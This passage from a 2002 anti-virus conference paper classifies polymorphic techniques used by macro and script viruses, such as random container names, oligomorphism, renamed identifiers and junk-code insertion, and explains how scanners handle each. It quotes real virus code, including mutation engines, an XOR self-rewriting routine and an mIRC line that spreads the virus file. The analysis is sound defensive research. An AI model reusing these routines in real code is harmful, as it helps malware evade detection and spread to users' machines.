Macro and Script Virus Polymorphism
[Bontchev02b] Proc. 3rd AVAR Conf., 2002, Seoul, Korea, pp. 1–31.
Abstract: In an attempt to make viruses more difficult to detect, virus authors are increasingly resorting to more sophisticated polymorphic mechanisms. This trend is likely to continue in the future. In this paper, we attempt to describe and classify several different polymorphic mechanisms used by macro and script viruses, including the kinds of technological advance they require from the anti-virus programs, and the likely future trends of polymorphic virus development.
1 Introduction
One of the most widely used types of anti-virus programs nowadays is the virus-specific scanner ([Bontchev98a]). This type of anti-virus programs look for viruses known to them. Such programs maintain a database with information identifying the various viruses known to them and attempt to match the code they are scanning with the entries in their database. When a match is found, the code is reported as containing the virus identified by the respective database entry. The information maintained in the database ranges from minuscule pieces of virus code (called scan strings) to complex sets of data mapping the constant areas of code in the virus and information how to locate them.
Naturally, an essential objective of virus writers is to make their creations difficult to handle (detect, recognize, identify and remove) with anti-virus programs. As scanners are the most popular type of anti-virus programs currently in use, it is only natural that many virus writers implement capabilities in their viruses, which make it difficult for the known-virus scanners to handle them.
There are many methods a virus can use to protect itself from scanners, from crude and obvious direct attacks (e.g., locating and destroying the anti-virus program(s) when it infects the machine) to subtle, tricks like removal of the virus code from the infected objects as the scanner accesses them (called stealth), all the way to infection of unusual objects and hiding in places scanners do not normally search. However, by far the most effective attack against virus-specific scanners is the use of polymorphism.
Polymorphism is the ability of the virus to change its appearance from one replicant to another. Since scanners look for constant pieces of known virus code, the fact the virus code changes from one copy of the virus to another, obviously makes their task very difficult. Viruses usually achieve this objective by the use of variable encryption (i.e., encryption with a different key each time) of their bodies – although methods that are more sophisticated exist, too.
When the first macro virus (WM/Concept.A) appeared in 1995, we researched what kind of means were available to the macro virus writers and what kind of techniques were either readily available or could be developed. The results of this research can be located in our paper [Bontchev96]. While not every single kind of attack described in that paper was actually implemented, and while some virus writers came up with attacks we did not think of – we are rather proud to note that our predictions regarding polymorphism (both that it was possible and would be used and in respect to the kind of polymorphic techniques that would be developed) were fulfilled to the letter.
The same can be said about our remark, written five years ago, regarding the VBA (Visual Basic for Applications) macro programming language available in Excel 95 and the various applications of Office 97 and later versions provides even more powerful tools for implementation of polymorphic techniques. Furthermore, since VBScript (a script programming language introduced with Windows 98 and designed to replace the programming language of the BAT files) is very similar to VBA, the same kind of powerful techniques are available to viruses written in it, too. Nevertheless, as we shall see later in this paper, it is even more difficult for the scanners to handle them.
In this paper, we are presenting an overview and a classification of the various polymorphic techniques used in the macro and script viruses thus far. We shall concentrate only on true polymorphic techniques. That is, techniques, with the purpose and ability to modify the virus in order to make it more difficult for the scanners to detect. We shall not cover such areas as modification caused by random corruption of the virus body by other parties, modification caused by the mating between two different viruses, modification caused by upconversion, modification caused by the fact that the virus parasitically infects already existing macros, or macro virus devolution. The reader who is interested in these topics should refer to our papers [Bontchev96], [Bontchev97a], [Bontchev98b], [Bontchev2Ka] and [Bontchev2Kb], which cover them reasonably well.
2 Simple Polymorphic Techniques
In this section, we shall cover the most elementary kinds of macro and script polymorphic virus techniques. They were amongst the first to be discovered by the virus writers in the early stages of macro virus development. They also are, as a rule, the easiest to deal with from the anti-virus point of view.
2.1 Polymorphic Container Names
As predicted in [Bontchev96], one of the simplest forms of polymorphism the virus writers came up with was to modify the name(s) of the macro(s)/module(s) containing the virus. The first polymorphic macro virus, WM/Outlaw.A, used precisely this particular technique. Since the command used to copy macros in WordBasic (the language this virus was written in) – MacroCopy – takes both source and destination names of the macro it is instructed to copy, it was easy for the virus to generate a random macro name on-the-fly as it copied itself into another document.
In WordBasic, there is a small problem for a virus, which does not use constant macro names, namely, the problem of receiving control. Normally, this is done by giving the macro one of the reserved “auto” names (like AutoOpen or AutoExit), or a name linked with one of the menu commands (like FileSaveAs). Obviously, this approach is not applicable to a virus, which does not reside in macros with constant names. In this particular case, the problem was resolved by linking the macros containing the virus through keyboard shortcuts to often-used keys such as Space or “e”.
The problem mentioned above, does not exist in VBA, since there the viral code can reside in modules with any name and still receive control if it is grouped into subroutines with “auto” names or with names matching the menu commands. Naturally, VBA viruses appeared, which used the same technique of modifying the names of the modules they resided in, without having to resort to such convoluted and unreliable means of receiving control as keyboard shortcut interception. In addition, unlike WordBasic, VBA does not have the restriction that the macro currently running is not allowed to rename or otherwise modify itself. Examples of VBA viruses using the polymorphic module names technique are W97M/Nono.A, the viruses from the X97M/Extras family and many others.
The concept of “macros” or “modules” does not exist in the script languages (VBScript, JavaScript, etc.). The equivalent of this polymorphic technique there is varying the name of the container where the virus resides – i.e., the name of the file containing the virus – without changing the actual virus body.
An example of such a virus, is the VBS/Fireburn.A virus. When infecting a clean machine, the virus stores itself in a file in the Windows folder. Although the contents of this file is always one and the same, its name is chosen randomly from 8 possible file names:
randomize random= Int((8 * Rnd) + 1) select case random case "1" filename="Ultra-Hardcore-Bondage.JPG.vbs" case "2" filename="Christina__NUDE!!!.JPG.vbs" case "3" filename="CuteJany__BigTits!.GIF.vbs" case "4" filename="MyGirlfriend__NUDE!.JPG.vbs" case "5" filename="Aguiliera__NUDE!!.JPG.vbs" case "6" filename="!Jany__Gets-fucked!.GIF.vbs" case "7" filename="cute__EmmaPeel!!!.JPG.vbs" case "8" filename="Julie17__xxx.GIF.vbs" end select
In fact, strictly speaking, the choice of possible file names is rather limited; therefore, the technique should probably be classified as oligomorphic (see section 2.2).
A better example of a script virus using polymorphic container names is the VBS/Nuel.A@mm virus. It virus creates a VBScript file with a random name on drive C:. The name of this file is also used as a name of the attachment in the e-mail messages this virus mass-mails. The name of the file is also part of the text body of these e-mails.
The virus builds a string with random contents, which is eight characters long. Each character is randomly chosen from the set [A-Z]. The resulting random string is used as a file name and the extension .VBS is added to it:
vbsn="" For vbsname=1 To 8 randomize(timer) vbsn=vbsn & chr(int(rnd(1)*26)+65) Next vbsn=vbsn&".vbs"
Clearly, this polymorphic technique is extremely primitive. In fact, it can be argued it is not polymorphism at all, because the virus body (the code that actually is executed; the contents of the macros/modules) remains constant; only the names of its container(s) change. Indeed, it is not as much an attack against scanners, as an attack against users – in that it prevents them from identifying the virus from the names of the macros present in the infected document.
Nonetheless, especially in the early stages of development of anti-virus software, there were several scanners, which were looking for macro viruses in documents based on the names of the macros these viruses were known to consist of, instead of based on the contents of these macros. Additionally, some scanners still depend on specific macro names when trying to remove a macro virus – in that their disinfection databases contain information of the kind “if this virus is found, then remove the macros with such and such names from the infected document”. Clearly, the anti-virus products of this kind are successfully attacked by macro viruses with polymorphic macro names.
Nevertheless, handling this polymorphic technique is extremely simple. The virus scanners need to look for the virus in the bodies of the macros/modules present in the document and, at disinfection time, remove the macros/modules found to belong to the identified virus, as opposed to macros with particular names known in advance.
2.2 Oligomorphism
The next obvious way in which a virus can modify itself from one replication to another without much trouble is to switch between a few (more than two but usually a very limited number of) fixed forms. Such viruses are called oligomorphic (from the Greek word “oligo”, meaning “few” which is the antonym of “poly”, meaning “many) and the technique used by them is termed oligomorphism.
The reason for the “more than two” condition in the above paragraph comes from the first macro virus, WM/Concept.A. It is almost tradition for macro viruses to exist in exactly two different forms – one of them when residing in the global template and the other when residing in infected documents. There is no real need for this, except for “tradition” or the result of poor copycat attempts made by inept people with little imagination (i.e., your typical virus writer). However, since this technique is used so often, we have come to assume that macro viruses normally come in two forms, although in some cases the two forms look exactly the same. We, therefore, do not consider this to be any kind of polymorphism (or even oligomorphism), but rather a normal state of affairs.
Similarly, we do not consider it polymorphism when the bodies of the macros (or modules, in the case of VBA) the virus resides in remain constant, but the set of such macros actually changes and can grow (as is the case of mass-replicators, see [Bontchev97a]) or shrink (as is the case of devolving macro viruses, ibid.) or even both (as is the case of the viruses belonging to the WM/Johnny family which can “lose” and “re-create” some of their macros as they replicate).
One of the first examples of viruses using this technique, was the WM/Shuffle.A virus – although it is not a “pure” example, because it also used other polymorphic techniques like polymorphic identifiers (see section 2.3). As far as the oligomorphic technique is concerned, the virus can swap some of its subroutines inside its body. Since their number is fixed (and relatively small), obviously the number of different forms created by this technique is severely limited.
Other examples include viruses like W97M/Dig.A, which contain the statements
Const NStat = 0 Const VStat = 0
near the beginning of their body and modify the numbers being assigned to these constants by alternating it between zero and one (so, obviously, four different forms of the virus exist).
Another example is the W97M/Locale.A virus, which can alternate two lines in its body between
Set prevDocument = ActiveDocument Set nextDocument = NormalTemplate
and
Set prevDocument = NormalTemplate Set nextDocument = newDocument
so, obviously, it can exist in two different forms.
Finally, as a script example of a virus using this technique we shall consider the VBS/Metacol.A virus. The virus exists in eight different forms. Each one is very different from the other seven and could be a virus on its own. The first seven forms are encrypted (by XORing each one of their characters with the constant key 23) and are stored in apostrophe-style comment lines (one line per form) at the beginning of the virus body. The eighth form is decrypted and resides at the end of the virus; it is the form, which is currently active.
At runtime, the virus reads the first seven lines of its body into seven different variables and the rest of its body into an eighth variable. It then encrypts the contents of the eighth variable, decrypts the contents of the first variable and overwrites its body with the contents of variables two to seven, followed by the contents of the eighth variable, followed by the contents of the first variable. Essentially, this has the effect of rotating the eight parts of the virus while keeping the first seven of them encrypted at the beginning and the eighth one decrypted at the end:
Set fso = CreateObject("Scripting.FileSystemObject")
set a = fso.OpenTextFile(Wscript.ScriptFullname, 1)
aa = a.readline
cc = a.readline
dd = a.readline
ee = a.readline
ff = a.readline
gg = a.readline
hh = a.readline
bb = a.readall
'
For o = 1 to Len(bb)
X = X & Hex(Asc(Mid(bb, o, 1)) xor 23)
Next
For y = 2 to Len(aa) Step 2
zz = zz & Chr(("&h" + Mid(aa, y, 2)) xor 23)
next
set a = fso.CreateTextFile(Wscript.ScriptFullname, true)
a.writeline cc
a.writeline dd
a.writeline ee
a.writeline ff
a.writeline gg
a.writeline hh
a.Writeline "'" & X
a.write zz
a.Close2.3 Polymorphic Identifiers
The next simple polymorphic technique we are going to consider here – and again one predicted in our original paper ([Bontchev96]) – involves changing randomly the identifiers (variable names and subroutine names) used in the virus body. The technique is relatively easy to implement both in WordBasic and in VBA (and, indeed, during the research we conducted for the purposes of writing [Bontchev96], we implemented a demonstration of it in WordBasic ourselves), although, as usual, VBA is the easier of the two environments, since it does not have the restriction that a macro currently running is not allowed to modify itself.
There are many examples of viruses using this technique – although most of them are not “pure” and use other polymorphic techniques in addition to this one.
For instance, one of the first viruses to use this technique, WM/FutureN.A, modifies one of the variables used in the virus body by constructing a sequence of three random letters and replacing the previously used identifier with the newly constructed one:
For q = 1 To 3 w$ = w$ + Chr$(Int(Rnd() * 26) + 97) Next q w$ = w$ + "$" EditReplace .Find = "rkz$", .Replace = w$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1
This virus also uses other polymorphic techniques like randomly generated macro names (see section 2.1), insertion of empty lines and random comments (see section 2.5) and oligomorphic alternation between several forms of a couple of lines in its body (see section 2.2).
A more “pure” example is the WM/Minimorph.A virus, which uses this technique alone to modify the names of three variables used in its body:
VRMGIIE = Int(Rnd() * 3 + 5) For SSYSFIZ = 1 To VRMGIIE A$ = A$ + Chr$(Int(Rnd() * 26) + 65) B$ = B$ + Chr$(Int(Rnd() * 26) + 65) C$ = C$ + Chr$(Int(Rnd() * 26) + 65) Next SSYSFIZ ToolsMacro .Name = "AutoOpen", .Edit EditReplace .Find = "HDILDMU", .Replace = A$, .ReplaceAll EditReplace .Find = "SSYSFIZ", .Replace = B$, .ReplaceAll EditReplace .Find = "VRMGIIE", .Replace = C$, .ReplaceAll
Another example is the WM/Slow.A virus ([Qin97]). There it is used with a combination of a variable encryption of a large part of the virus body (see section 3.2); the “polymorphic identifiers” technique is used for the purposes of making the unencrypted part of the virus body – the decryptor – also change with every replication. All of the 17 variable names used by the decryptor are generated randomly.
A similar extensive use of this technique can be found in the WM/Triple.A virus, which uses it to polymorph all the 24 variables used by its code:
Sub MMGBBINRMOOBIAIHI TRKSHEHFULK$(0) = "PTKKVLAUNDOEQIKO" TRKSHEHFULK$(1) = "VSQLEQKEFSPJHUIUQPG" TRKSHEHFULK$(2) = "JKSQBFFORVLAKG" TRKSHEHFULK$(3) = "QEOSIIJBRQTVRIRI" TRKSHEHFULK$(4) = "BHMUCMDNNVLRGOBV" TRKSHEHFULK$(5) = "OSFPVURSPCMLTP" TRKSHEHFULK$(6) = "TRKSHEHFULK" TRKSHEHFULK$(7) = "GKJHHGMDOC" TRKSHEHFULK$(8) = "MTKPLEVBJMMRU" TRKSHEHFULK$(9) = "CTMPQKVOTT" TRKSHEHFULK$(10) = "ONOHRJSVQGBMBOU" TRKSHEHFULK$(11) = "HVLIBDUKNKBTGQLPTPI" TRKSHEHFULK$(12) = "CMSROVEBVLVJ" TRKSHEHFULK$(13) = "PGNQABAMMQQKQVTQ" TRKSHEHFULK$(14) = "PFNBNJRCEFIKRAVGB" TRKSHEHFULK$(15) = "GMOGAPQFEUVP" TRKSHEHFULK$(16) = "MMGBBINRMOOBIAIHI" TRKSHEHFULK$(17) = "VLPMALAJIS" TRKSHEHFULK$(18) = "IJLKOLRHHHKE" TRKSHEHFULK$(19) = "TMLGCVGTHKSUBHB" TRKSHEHFULK$(20) = "VHKUOPIBRADGNIJDQRC" TRKSHEHFULK$(21) = "QPTKIKBKMGUFRQLL" TRKSHEHFULK$(22) = "IRACBAFAIEVPCOPNS" TRKSHEHFULK$(23) = "MHGNGDEUHFSBKHHDESO" End Sub Function QPTKIKBKMGUFRQLL$ IRACBAFAIEVPCOPNS$ = "" For MHGNGDEUHFSBKHHDESO = PTKKVLAUNDOEQIKO To GKJHHGMDOC + Rnd() * GKJHHGMDOC : IRACBAFAIEVPCOPNS$ = IRACBAFAIEVPCOPNS$ + Chr$(Rnd() * MTKPLEVBJMMRU + CTMPQKVOTT) : Next MHGNGDEUHFSBKHHDESO QPTKIKBKMGUFRQLL$ = IRACBAFAIEVPCOPNS$ End Function Sub TMLGCVGTHKSUBHB ToolsMacro .Name = "AutoClose", .Show = PTKKVLAUNDOEQIKO, .Edit For MHGNGDEUHFSBKHHDESO = VSQLEQKEFSPJHUIUQPG To CMSROVEBVLVJ EditReplace .Find = TRKSHEHFULK$(MHGNGDEUHFSBKHHDESO), .Replace = QPTKIKBKMGUFRQLL$, .Direction = VSQLEQKEFSPJHUIUQPG, .MatchCase = PTKKVLAUNDOEQIKO, .WholeWord = VSQLEQKEFSPJHUIUQPG, .PatternMatch = VSQLEQKEFSPJHUIUQPG, .ReplaceAll, .Format = VSQLEQKEFSPJHUIUQPG, .Wrap = PTKKVLAUNDOEQIKO Next MHGNGDEUHFSBKHHDESO End Sub
The same idea (keeping an array of the variable names used and modifying them by the use of string manipulation operators) can be found in the viruses of the W97M/Pri family:
Private Sub NL321_HJ3849() On Error Resume Next Randomize Dim r1(1 To 14) As String r1(1) = "MP5290": r1(2) = "CJ7427": r1(3) = "DA728": r1(4) = "IQ7892": r1(5) = "HJ3849": r1(6) = "QC7227" r1(7) = "HB3056": r1(8) = "OP8498":: r1(9) = "LB1594": r1(10) = "EM1743": r1(11) = "GR314": r1(12) = "NL321": r1(13) = "JJ6574": r1(14) = "SI4859" For x = 1 To 14 a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100) Call HJ3849(a1, r1(x)) Next x End Sub Private Sub HJ3849(SI4859, JJ6574 As String) 'v1.0 On Error Resume Next Dim MP5290 As Long: Dim CJ7427 As Long: Dim DA728 As Long: Dim IQ7892 As Long With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule MP5290 = 1: CJ7427 = 1: DA728 = .CountOfLines: IQ7892 = Len(.Lines(.CountOfLines, 1)) Do While .Find(JJ6574, MP5290, CJ7427, DA728, IQ7892, True) strline = .Lines(MP5290, 1) strline = Left(strline, CJ7427 - 1) & SI4859 & Mid(strline, IQ7892) .replaceline MP5290, strline MP5290 = DA728 + 1: CJ7427 = 1: DA728 = .CountOfLines IQ7892 = Len(.Lines(.CountOfLines, 1)) Loop End With End Sub
Interestingly, contrary to what the virus writers might have assumed, this polymorphic technique provides little challenge to the macro virus scanners, especially in the case of macro viruses written in VBA. The reason is, the macro virus body is stored in readily parsed and compiled (or tokenized, in the case of WordBasic) form, with the variable names clearly marked. It is trivial for the anti-virus programs to skip the identifiers used in the body of the macro virus.
In fact, in the case of VBA viruses, the names of the identifiers are stored in a completely different place and the compiled virus body contains only pointers to them. These pointers have variable contents, so they have to be skipped anyway ([Bontchev98b]). Actually, the designer of a VBA virus scanner has to make additional effort in order to see the variable names used in the macro bodies, an effort which few anti-virus producers trouble themselves with. So, for them, a virus like W97M/Pri.A does not even look polymorphic, because it changes only parts of its body which are considered variable and are skipped anyway.
One exception are the macro virus scanners that do not look at the compiled virus body (in the case of VBA viruses) but examine the compressed source of the VBA module, which is appended after this compiled body. For them, the polymorphic technique described in this section does present a challenge. However, relying on the virus source (as opposed to its compiled body – i.e., the code that actually is executed) is a bad idea anyway ([Bontchev2Ka]). And, of course, this polymorphic technique presents a problem to all scanners in the case of viruses written in VBScript (or any other scripting language), because there the virus scanner is forced to parse the virus body “manually” and to determine itself which parts of it are variable names and other identifiers that have to be skipped.
2.4 Varying a Small Part of the Virus Body
Another simple polymorphic technique involves modifying only a small part of the virus body, usually just a line or two. This technique is somewhat similar to some forms of oligomorphism described in section 2.2. The difference, however, is that the number of ways in which this small part of the virus body can change is virtually unlimited.
In practice, the purpose of this technique is rarely to achieve true polymorphism. Its objective, more often than not, is much simpler – for instance, to keep a generation counter indicating how many times the virus has replicated.
One of the most typical examples of viruses using this technique is probably the X97M/Domin.A virus. It begins with a simple generation counter in a comment line, e.g.
'NO=000000104
and on each replication increases the number on this line:
chaine = Mid(chaine, 5, 9)
Dim n
n = Val(chaine)
n = n + 1
Dim c
c = Str(n)
c = Mid(c, 2, Len(c) - 1)
chaine = Mid("000000000", 1, 9 - Len(c)) + c
chaine = "'NO=" + chaine
Dim c2 As String * 1
Open "\Domino.tmp" For Random As #1 Len = 1
For i = l To l + Len(chaine) – 1
c2 = Mid(chaine, i - l + 1, 1)
Put #1, i + 1, c2
Next I
Close #1The newly modified source is constructed in an external text file (Domino.tmp), from which the virus imports it at replication time.
Another, very similar example is the W97M/Luz.A virus. It keeps its generation counter in a comment line at the very beginning of its body too and increments it when it replicates:
OurCode = NT.CodeModule.lines(1, NT.CodeModule.countoflines)
OurCode2 = OurCode
Contor = Int(Trim(Mid(OurCode2, 2, 3))) + 1
OurCode2 = NT.CodeModule.lines(2, NT.CodeModule.countoflines - 1)
Temp = Trim("'" & Str(Contor) & Chr(13))
OurCode2 = Temp + OurCode2
AD.CodeModule.deletelines 1, AD.CodeModule.countoflines
AD.CodeModule.addfromstring OurCode
NT.CodeModule.deletelines 1, NT.CodeModule.countoflines
NT.CodeModule.addfromstring OurCode2One example of a script virus of this kind is the VBS/Fireburn.A virus mentioned also in section 2.1. Although the bulk of the body of this virus is a VBScript program, which does not change (it only changes the names of the files it resides in), it also generates on-the-fly on the infected machine script files for the IRC client mIRC ([Tocheva01]). The purpose of this script is to spread the main VBScript file containing the virus via IRC. The actual mIRC script is not polymorphic itself (meaning that it does not change itself).
However, it contains, hard-coded, the path to the VBScript containing the main body of the virus. Since this path can vary (depending on where exactly the Windows folder resides and what is the name of the file in which the virus has chosen to store itself on the infected machine, this also means that various different mIRC scripts can be dropped by this virus – i.e., it is as if a few lines (4, to be precise) in the mIRC script file dropped by the virus are variable.
Here is part of the code responsible for the generation of one of these variable lines:
writem.writeline ("n13 =if ( $nick == $me ) { halt } | .dcc send $nick "&win&"\system\"&filename)At execution time, the variable win contains the path to the Windows folder on the infected machine and the variable filename contains the name of the file in which the virus has chosen (oligomorphically) to store itself on that machine. Both of these variables can (and do) take different values, resulting in different lines in the generated mIRC scripts.
Here is an example of a code generated in a mIRC script by the above line:
n22 = if ( $nick == $me ) { halt } | .dcc send $nick C:\WINDOWS\system\Julie17__xxx.GIF.vbsThis kind of polymorphic technique presents a problem only to those macro virus scanners that treat the body of each macro or module as a monolithic whole (e.g., by computing a checksum of it). It can be handled relatively easily by performing a match only on the constant parts of the macro bodies – e.g., by the means of using a scan string or a partial checksum, computed over a map of the non-variable areas of the virus.
2.5 Polymorphic Do-Nothing Parts
The last kind of simple polymorphic techniques we are going to discuss here involves the random insertion of simple do-nothing pieces of code. The technique is a straightforward borrowing from a similar technique from the binary (DOS and Windows) viruses, which insert do-nothing instructions (such as NOP), throughout its body in order to achieve polymorphism.
There are two main kinds of simple do-nothing code used by the polymorphic macro viruses – comments and white space.
One of the first macro viruses to use insertion of randomly generated comments as do-nothing instructions for the purposes of polymorphism was the WM/PolyPoster.A@mm virus. It uses both apostrophe-style and REM-style comments, followed by a randomly generated sequence of letters:
Sub Mutate(w) On Error Resume Next 'minor polymorphism ScreenUpdating 0 ToolsMacro .Name = a$, .Edit, .Show = w Lines = 0 'get the total number of lines While LineDown() Lines = Lines + 1 Wend StartOfDocument 'go down a random amount ParaDown Int(Rnd() *(Lines - 1) + 1) LF$ = Chr$(13) R = Rnd() If R < 0.3 Then Insert "'" + RGG$ + LF$ ElseIf R < 0.6 Then Insert "REM " + RGG$ + LF$ ElseIf R < 0.9 Then R$ = RGG$ + "$" EditReplace .Find = "RGG$", .Replace = R$, .ReplaceAll, \ .Wrap = 1 Else R$ = RGG$ + "$" EditReplace .Find = "Rand$", .Replace = R$, .ReplaceAll, \ .Wrap = 1 EndIf StartOfDocument DocClose 1 End Sub Function RGG$ 'random garbage generator - really lame, but it works For i = 1 To Int(Rnd() *(30 - 1) + 1) If Rnd() > Rnd() Then Rand$ = Rand$ + Chr$(Int(Rnd() *(122 - 97) + 97)) Else Rand$ = Rand$ + Chr$(Int(Rnd() *(90 - 65) + 65)) EndIf Next RGG$ = Rand$ End Function
(The virus also uses the “polymorphic identifiers” technique described in section 2.3 and has other interesting properties as well – such as being one of the first mass-mailing viruses.)
Another example, is the WM/JunkFace.B virus, which contains a randomly generated apostrophe-style comment at the end of each one of its lines and the contents of these comments changes (i.e., is randomly re-generated) every time the virus replicates.
An example of a VBA virus that uses this technique is the W97M/Class.A virus. Every second line in its body is an apostrophe-style comment which is constructed from the name of the registered Word user, the current time at the moment when the virus is replicating (i.e., when these random comments are being generated) and the name of the system’s active printer:
With host.codemodule For x = 2 To 70 Step 2 .replaceline x, "'" & Application.UserName & Now & Application.ActivePrinter & Now Next x End With
Since white space (empty lines, spaces and tabs) should be ignored when identifying VBA viruses (see [Bontchev97a]), their use as polymorphic do-nothing instructions makes sense only in viruses written in WordBasic.
One of the simplest examples, is the WM/Smmd.A virus, which inserts an empty line at a random in its body every time it replicates. (The virus also keeps a generation counter and, therefore, uses the polymorphic technique described in section 2.4 too.)
This polymorphic technique presents little challenge to most virus scanners. It can be countered quite easily by simply ignoring the comments and the white space when identifying the virus. The same approach works very well when scanning for script viruses, too – although one is presented with the small problem of determining the particular language of the script present in the scanned file first, because the different script languages denote comments in different ways. For instance, an apostrophe indicates in VBScript that the rest of the line contains a comment – while the same apostrophe is used to delimit literal strings in JavaScript.
3 Complex Polymorphic Techniques
In this section, we shall describe the polymorphic techniques with considerably higher levels of sophistication. They were “discovered” later by the virus writers and some of them are considerably more difficult to deal with from the point of view of a scanner producer.
3.1 Insertion of Variable Do-Nothing Code
This technique is very similar to the one described in section 2.5. The main difference is that its application results in the increase of the virus code, because the randomly generated do-nothing operators are added to the virus body (instead of replacing previous instances of such operators), and because they generate code in the compiled (or tokenized) virus body.
This is probably the most widespread method for macro virus polymorphism. The reason is that it is extremely straightforward, easy to implement and reasonably effective, and the virus writers are notorious for their lack of imagination, ineptness and laziness.
This technique can be implemented in many ways. In the rest of this section, we shall discuss the most popular among them.
3.1.1 Comments
Probably the simplest implementation of this technique can be found in the viruses which keep some kind of infection log in their bodies – i.e., a list of entries which identify in one way or another the systems infected by the virus. One of the first viruses of this kind was the W97M/ColdApe.B virus. It adds apostrophe-style comments at the end of its body (just before the final End Sub statement), which records the name of the currently infected user (as registered in Word) and the current time:
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines, "'" & Application.UserName & " Loves Nicky F. Also! " & Now
(The virus also uses another polymorphic technique – keeping a generation counter in one of the lines of its body; see section 2.4.)
Another typical (and more widespread) example of a macro virus, which uses this technique, is the W97M/Marker.A virus.
One example of a script virus, which uses random comments for the purposes of polymorphism, is the VBS/NewLove.A@mm virus. Each time it infects a clean machine, and for each line of already existing code, it inserts in its body from one to ten spaces, followed by one to ten randomly generated apostrophe-style comments, followed by five to ten additional spaces:
function Transform On Error Resume Next dim NewCode, LineText NewCode = "" do while (MyFile.atendofstream <> TRUE) LineText = cstr(MyFile.ReadLine) randomize(timer) tmpIndx = int(rnd(1)*10)+1 if ucase(left(trim(LineText), 1)) = "'" then else for Indx2 = 1 to tmpIndx NewCode = NewCode & string(tmpIndx, " ") & "'" for Indx = 1 to tmpIndx NewCode = NewCode & CreateName next NewCode = NewCode & vbCrLf next end if NewCode = NewCode & Space(tmpIndx*5) & LineText & vbCrLf loop Transform = NewCode end Function Function CreateName On Error Resume Next dim tmpName, Indx, NameLen randomize(timer) NameLen = int(rnd(1)*30)+1 for Indx = 1 to NameLen randomize (timer) tmpName = tmpName & chr(int(rnd(1)*26)+65) next tmpName = tmpName CreateName = tmpName end function
Another example of such a script virus is the VBS/Sflus.A virus. It infects parasitically VBScript files by appending itself to them. Each time it replicates, it intersperses its body with a random number randomly generated apostrophe-style comments, using the VBScript function Split to split its source into separate lines, in order to process them:
Function Mutator (CodeToMutate) Strings = Split (CodeToMutate, vbCrLf) CommentsCount = Cbyte (GetRndNumber(3, UBound(Strings) / 1.5)) CommentPlace = Cbyte (UBound(Strings) / CommentsCount) y = 0 For b = 0 To UBound(Strings) Step 1 DoMutateBody = DoMutateBody & Strings(b) & vbCrLf y = y + 1 If y = CommentPlace Then Comment = MakeComment DoMutateBody = DoMutateBody & Comment y = 0 End If Next Mutator = DoMutateBody End Function Function MakeComment CommentLenght = Cbyte (GetRndNumber(3, 30)) DoComment = Chr(39) For z = 1 To CommentLenght Step 1 a = CByte(GetRndNumber (65, 122)) If a < 91 Or a > 96 Then DoComment = DoComment & Chr(a) Else z = z - 1 End If Next MakeComment = DoComment & vbCrLf End Function Function GetRndNumber (r_a, r_b) Randomize r_c = (r_b - r_a) * Rnd + r_a GetRndNumber = r_c End Function
Just like with the method outlined in section 2.5, the easiest way in which the virus scanners can handle this polymorphic technique is by skipping the comment lines found in the virus body.
3.1.2 Line splits
A somewhat unusual variation of this technique (along with several others) is used in the W97M/Ded.A virus. It can insert a line continuation operator (“_” in VBA) at any place in its body where a space or a dot is present:
Private Function e(aString) As String For i = 1 To Len(aString) - 1 While Mid(aString, i, 2) = " " aString = Left(aString, i) & Right(aString, Len(aString) - i - 1) Wend If Mid(aString, i, 1) = "." Then If Not Mid(aString, i - 1, 1) = Chr$(34) And Not Mid(aString, i + 1, 1) = Chr$(34) And Int(3 * Rnd) = 1 Then If Not Mid(aString, i + 1, 1) = Chr$(34) Then e = Left(aString, i - 1) & ". _" & Chr$(13) & Right(aString, Len(aString) - i) For j = 1 To Int(15 * Rnd) e = " " & e Next j Exit Function End If End If Else If Mid(aString, i, 1) = " " And Int(3 * Rnd) = 1 And i > 1 Then If Not Mid(aString, i + 1, 1) = Chr$(34) And Not Mid(aString, i - 1, 1) = Chr$(34) Then e = Left(aString, i - 1) & " _" & Chr$(13) & Right(aString, Len(aString) - i) For j = 1 To Int(15 * Rnd) e = " " & e Next j Exit Function End If End If End If Next i e = aString & Chr$(13) & "'" & (100 * Rnd) Count = Int(15 * Rnd) For j = 1 To Count e = " " & e Next j End Function
In practice, this means that it can split a line between almost any two terms. The other polymorphic techniques used by this virus is insertion of random comments and insertion of empty lines and leading blank space – although the latter is of little use (for the purposes of polymorphism) in a VBA virus; see section 2.5.
Fortunately, from the point of view of the designer of a macro virus scanner, this technique is very easy to handle. The line continuation operator generates a particular p-code instruction in VBA and it is trivial to simply skip such instructions when identifying the body of a polymorphic virus – just as one would be skipping the instructions generated by the comments.
3.1.3 Constant sums of variable identifiers
Just as it was predicted in [Bontchev96], at some point the virus writers realized, if they restrict themselves only to obvious do-nothing operators like comments, etc., the anti-virus programs would easily handle their viruses simply by skipping these operators. The obvious next step was to use less obvious do-nothing operators – i.e., operators, which looked quite normal and performing some kind of action, but their action had no impact on the algorithm of the virus.
A typical example of a macro virus using this polymorphic technique is the W97M/Class.AC virus. Every second line of its body has the form
<identifier1> = <identifier2> + <identifier3>
where each identifier is a sequence of three random letters and is not used by the algorithm of the virus at all. Here is the relevant part of the polymorphic engine of this virus:
With EI66.CodeModule For x = 2 To (EI66.CodeModule.CountOfLines - 1) Step 2 .replaceline x, (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " = " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " + " & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) Next x End With
Surprisingly, the handling of this particular kind of macro virus polymorphism is relatively trivial. Since each and every do-nothing line always consists of an assignment of a sum of two variables to a third variable, the do-nothing lines can be considered part of the body of a virus which uses the “polymorphic identifiers” technique (see section 2.3) and, therefore, the virus itself can be handled in a similar way (i.e., by ignoring the variable names when identifying it).
3.1.4 Variable sums of variable identifiers
An obvious improvement of the previous polymorphic technique is to use do-nothing lines, which are less constant – e.g., consist of sums of different number of items. One typical representative of the macro viruses using this polymorphic technique is the W97M/Class.AB virus. Its polymorphic engine is very similar to that of the W97M/Class.AC variant, but the generated do-nothing lines use sums of up to 10 different variables:
